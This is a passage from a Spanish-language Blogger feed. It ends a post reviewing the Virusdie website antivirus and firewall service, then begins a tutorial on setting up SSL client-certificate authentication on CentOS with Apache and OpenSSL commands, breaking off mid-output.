22.3999996185303px;&quot;&gt;&amp;nbsp;automáticamente &amp;nbsp;en PHP, HTML, JS, archivos del sistema y archivos disfrazado como una imagen (Troyano), y después del tratamiento el rendimiento por el recurso se almacena.&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;El servicio puede trabajar directamente con una variedad de sitios de usuario y no requiere instalación o configuración. Tan solo de una verificacion de la propiedad del sitio con el típico archivo de verificación que debe ser alohado en la raiz del&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;sitio.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJt7FJmiiaRLuz3p8FUsKP4XKX7LgHTnBjkjR_EwWdfeC6c8nQXgukaEkYzh62q9RAWn5jCQR0ZWBx1eq7tJT1rvaoUiCsOL8Tiv_CID3blqoHHjF-jMUkpUVt1QgICjdi4ppkiLWp6i8/s1600/25ccbf13636847c3a605d1242ed2dfd0.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;384&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJt7FJmiiaRLuz3p8FUsKP4XKX7LgHTnBjkjR_EwWdfeC6c8nQXgukaEkYzh62q9RAWn5jCQR0ZWBx1eq7tJT1rvaoUiCsOL8Tiv_CID3blqoHHjF-jMUkpUVt1QgICjdi4ppkiLWp6i8/s640/25ccbf13636847c3a605d1242ed2dfd0.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;EL programa es de origen ruso asi que la web de administracion esta por el momento en ese idioma a dia de hoy la app ha entrado a una fase de&amp;nbsp;suscripción, realmente no me gusta hacerle publicidad a un software de pago. pero la app tiene un buen rendimiento y su uso es relativamente faciil para cualquier usario con pocos conocimientos de seguridad.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh72ebwMTADcMfEUVycSPuz9d4KIxmt6b86icKnlV2eJy6bxLAaRxNcwfcb3wRwtO4NOG_IruhLxIZhA7LWuaHQcUDHG8haVFkXKmvbVpbfy3OODFWiHu4Ecue5rGezcTiyDqkivaNkwAA/s1600/tarifa.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;481&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh72ebwMTADcMfEUVycSPuz9d4KIxmt6b86icKnlV2eJy6bxLAaRxNcwfcb3wRwtO4NOG_IruhLxIZhA7LWuaHQcUDHG8haVFkXKmvbVpbfy3OODFWiHu4Ecue5rGezcTiyDqkivaNkwAA/s640/tarifa.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;En la app se va agregando los sitios y su&amp;nbsp;respectiva&amp;nbsp;verificación, en sus herramientas de&amp;nbsp;protección&amp;nbsp;incluye un Antivirus y el Firewall, ademas de poder excluir ciertos archivos,&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMoo40i8saw1tcrhlJzuxnGDEO-qUQ6eyb_CC111s0weJkZMOskfJzreEKmTN3-YkfNXYvSD8fsoGlVw5TGcmmOUSmPTOvGvJq9HZOwOuyQE3u_5DAEyah-XyLkYXKwm6RDK_rI2cfXU/s1600/herramientas.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;290&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjiMoo40i8saw1tcrhlJzuxnGDEO-qUQ6eyb_CC111s0weJkZMOskfJzreEKmTN3-YkfNXYvSD8fsoGlVw5TGcmmOUSmPTOvGvJq9HZOwOuyQE3u_5DAEyah-XyLkYXKwm6RDK_rI2cfXU/s640/herramientas.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;ANTIVIRUS&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;El antivirus nos muestra información detallada sobre los archivos infectados y desinfectados, su número, tiempo de comprobaciones detalladas y ultima operación del malware, el estado del sitio web se identifica a travez de los populares colores. Rojo - amenazas detectadas. Amarillo - error de sincronización. Se puede activar el tratamiento automático de malware, Si este se encuentra activo cualquier amenaza o malware encontrado serán eliminados automáticamente cuando se analiza el sitio. Virusdie no puede eliminar todas las amenazas que detectan automáticamente. algunas deberan ser sanadas o eliminadas manualmente pero igual sera notificado de un posible malware o&amp;nbsp;inyección&amp;nbsp;de&amp;nbsp;código&amp;nbsp;malicioso.&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2kQMasRCTBeoiix6sehRXefCxLcV_KPT9_UPBxGWohjWjBCe2I8EVxmoVcCFyXlycANhZTVq2OYA0deybNWQUCATelp9p8taR-zgfdW7WFpwXVVRcHNZV-JpJWuLxwBzqgfpSywqEywQ/s1600/126866148e454f2da120d37827f2e273.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;384&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2kQMasRCTBeoiix6sehRXefCxLcV_KPT9_UPBxGWohjWjBCe2I8EVxmoVcCFyXlycANhZTVq2OYA0deybNWQUCATelp9p8taR-zgfdW7WFpwXVVRcHNZV-JpJWuLxwBzqgfpSywqEywQ/s640/126866148e454f2da120d37827f2e273.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;FIREWALL&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;Aun en su etapa de pruebas por el momento e&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;stá disponible &amp;nbsp;para los sistemas de administración de Joomla, WordPress, Drupal, DLE, Bitrix, MODX, marco Yii, OpenCart, netcat, CS.Cart, AmiroCMS, HOSTCms y Magento y puede reducir la probabilidad de éxito de los ataques DoS, XSS / SQL Injection y descarga archivos sospechosos.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVRBjzbx6Jfd7djUqCXPcSu9Il6UdTcCMwIqOPabtGfFAilQ3qyP-YzYqKV2e53I9WLYymQx65lXXyVA1IwGnJlya2_7eejhl4g6eox_7S4ujKTLDOQK-5nbYryep624pUv8eA77-Ygo/s1600/401549d58ace48e0aa192842f05ef0e8.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;384&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgzVRBjzbx6Jfd7djUqCXPcSu9Il6UdTcCMwIqOPabtGfFAilQ3qyP-YzYqKV2e53I9WLYymQx65lXXyVA1IwGnJlya2_7eejhl4g6eox_7S4ujKTLDOQK-5nbYryep624pUv8eA77-Ygo/s640/401549d58ace48e0aa192842f05ef0e8.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;LISTA DE&amp;nbsp;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;b&gt;EXCLUSIÓN&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Simple, la app hace caso omiso de ciertos archivos durante el analisis del sitio.&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;ADMINISTRADOR DE ARCHIVOS&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;Simplemente eso un administrador de archivos.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;br /&gt;&lt;/span&gt;
&lt;span style=&quot;background-color: white; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.3999996185303px;&quot;&gt;&lt;a href=&quot;http://habrahabr.ru/company/virusdie/blog/259427/&quot; rel=&quot;nofollow&quot; target=&quot;_blank&quot;&gt;Fuente&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://antoniojorz.blogspot.com/feeds/8151665802115250737/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://antoniojorz.blogspot.com/2015/06/virusdie-un-avfw-para-sitios-web.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8151665802115250737'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4993754786350617036/posts/default/8151665802115250737'/><link rel='alternate' type='text/html' href='http://antoniojorz.blogspot.com/2015/06/virusdie-un-avfw-para-sitios-web.html' title='Virusdie - Un AV+FW para sitios web'/><author><name>Atoio</name><uri>http://www.blogger.com/profile/05839122536208921999</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhcSMEXTeh1PWeLobqK4s0JapiVB7ILibtLziHgqKunaU3imUotduw471Ybwdr4D8K2Cq5FMo4pJq-r6lwGoLLuD2Q16asoMXNLDBHx98IWYgj4DcVg6-1Reg_qIVN4uniueiEueERtmuQ/s72-c/logo-virusdie.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4993754786350617036.post-4855960359761482902</id><published>2015-06-05T18:34:00.003-05:00</published><updated>2015-06-05T18:34:38.290-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="apache"/><category scheme="http://www.blogger.com/atom/ns#" term="CentOS"/><category scheme="http://www.blogger.com/atom/ns#" term="Cifrado Asimetrico"/><category scheme="http://www.blogger.com/atom/ns#" term="OpenSSL"/><title type='text'>Autenticacion web basada en certificados SSL (CentOS)</title><content type='html'>&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9wAr1b4aAJfKIW9-6gSZYpvJhNF5xPbheXFqbyhI-q6RDyCxG77wecgA5LpkCZyXY5ErTIfAxrBiq4cnaO4lUzZbnP6yMYhwTbRITndpHCb8TXMdNnIvgA3hyphenhyphen9o0gQxJfXo2UIDrDDVo/s1600/openssl-logo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;172&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh9wAr1b4aAJfKIW9-6gSZYpvJhNF5xPbheXFqbyhI-q6RDyCxG77wecgA5LpkCZyXY5ErTIfAxrBiq4cnaO4lUzZbnP6yMYhwTbRITndpHCb8TXMdNnIvgA3hyphenhyphen9o0gQxJfXo2UIDrDDVo/s640/openssl-logo.png&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Todos creo que conocemos &lt;b&gt;OpenSSL &lt;/b&gt;la navaja suiza del cifrado&amp;nbsp;y el uso que se les da a los certificados SSL al dia de hoy para proporcionar una conexión segura &lt;b&gt;HTTPS.&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
En este post abarcaremos el uso de estos certificados para autenticarnos en un sitio web. Crearemos un sitio web que solo sea accedido o sea visible para ciertos clientes o personas que posean el certificado llave(Publica).&lt;br /&gt;
&lt;br /&gt;
Este post se ha generado para aquellos que han tenido problemas de realizar esta tarea en servidores CentOS. ;)&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;&lt;span style=&quot;font-size: large;&quot;&gt;Escenario:&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;OpenSSL&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Mod-SSL&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;b&gt;Apache&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;CentOS 6.3&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: large;&quot;&gt;&lt;b&gt;Instalación de OpenSSL&lt;/b&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Pasaremos a instalar OpenSSL y el respectivo modulo SSL para el servidor web (APACHE) en nuestro servidor y crearemos los certificados necesario. el modulo es necesario para que apache interactué con Openssl y este viene los repositorios de Centos 6.3 y también en EPEL.&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; yum install openssl
&lt;/pre&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; yum install mod_ssl
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
Una vez tengamos instalado &lt;b&gt;OpenSSL &lt;/b&gt;y el modulo &lt;b&gt;SSL &lt;/b&gt;para apache&amp;nbsp;pasaremos a crear los certificados (Privada y publica). si sera un cifrado asimetrico, ya que es conveniente para el sistema plantado.&lt;br /&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; openssl genrsa -des3 -out server.key 2048
&lt;span style=&quot;color: #888888;&quot;&gt;Generating RSA private key, 2048 bit long modulus&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;............+++&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;...............................................+++&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;e is 65537 (0x10001)&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Enter pass phrase for server.key:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Verifying - Enter pass phrase for server.key:&lt;/span&gt;
&lt;/pre&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;
Como ven en el comando estamos solicitando que nuestra clave sea de 2048 bits, una vez ejecutado el comando antes de generar la clave privada nos solicitara ingresar una contraseña, esta es para proteger el archivo de posibles descifrado.&lt;br /&gt;
&lt;br /&gt;
Ya que tenemos nuestra llave privada pasaremos a crear el certificado a firmar y llenarlo con los datos necesarios del servidor, dominio o empresa. este certificado sera el identificador de nuestro servidor, dominio o empresa.&lt;br /&gt;
&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;margin: 0px;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold; line-height: 125%;&quot;&gt;[root@localhost ~]#&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt; openssl req -new -key server.key -out server.csr
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Enter pass phrase for server.key:&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;You are about to be asked to enter information that will be incorporated&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;into your certificate request.&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;There are quite a few fields but you can leave some blank&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;For some fields there will be a default value,&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;If you enter &#39;.&#39;, the field will be left blank.&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;-----&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Country Name (2 letter code) [XX]:CO&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;State or Province Name (full name) []:COLOMBIA&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Locality Name (eg, city) [Default City]:BOGOTA&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Organization Name (eg, company) [Default Company Ltd]:ANTONIOJORZ&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Organizational Unit Name (eg, section) []:&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Common Name (eg, your name or your server&#39;s hostname) []:&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Email Address []:&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;Please enter the following &#39;extra&#39; attributes&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;to be sent with your certificate request&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;A challenge password []:&lt;/span&gt;&lt;span style=&quot;line-height: 125%;&quot;&gt;
&lt;/span&gt;&lt;span style=&quot;color: #888888; line-height: 125%;&quot;&gt;An optional company name []:&lt;/span&gt;&lt;span style=&quot;font-family: Times New Roman;&quot;&gt;&lt;span style=&quot;white-space: normal;&quot;&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;br /&gt;
El comando nos solicitara la contraseña quemada en la llave privada para acceder a el. durante el proceso de creacion se nos solicitaran los datos con los cuales se va identificar nuestro sitio web y/o servidor. como mi servidor es local y obviamente lo voy autofirmar posteriormente, lo llenare con cualquier dato. en caso que se genere en producción el campo &quot;Common Name&quot; debe estar quemado el dominio o subdominio del servidor.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Autofirmamos el certificado&lt;/b&gt;&lt;br /&gt;
una vez creado nuestro certificado indentificador llega el momento de firmarlo en nuestro caso como mencione anteriormente no sera un ente quien lo firme, sera autofirmado por el server esto debido que es para fines educativos en un ambiente local..&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Primero creamos nuestro propio CA (Certification Authority)&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;&lt;/b&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;
&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #c65d09; font-weight: bold;&quot;&gt;[root@localhost ~]#&lt;/span&gt; openssl req -x509 -newkey rsa:2048 -keyout ca.key -days 730 -out ca.crt
&lt;span style=&quot;color: #888888;&quot;&gt;Generating a 2048 bit RSA private key&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;.......................+++&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;.............................+++&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;writing new private key to &#39;ca.key&#39;&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Enter PEM pass phrase:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Verifying - Enter PEM pass phrase:&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;-----&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;You are about to be asked to enter information that will be incorporated&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;into your certificate request.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;What you are about to enter is what is called a Distinguished Name or a DN.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;There are quite a few fields but you can leave some blank&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;For some fields there will be a default value,&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;If you enter &#39;.&#39;, the field will be left blank.&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;-----&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Country Name (2 letter code) [XX]:CO&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;State or Province Name (full name) []:COLOMBIA&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt;Locality Name (eg, city) [Default City]:BOGOTA&lt;/span&gt;
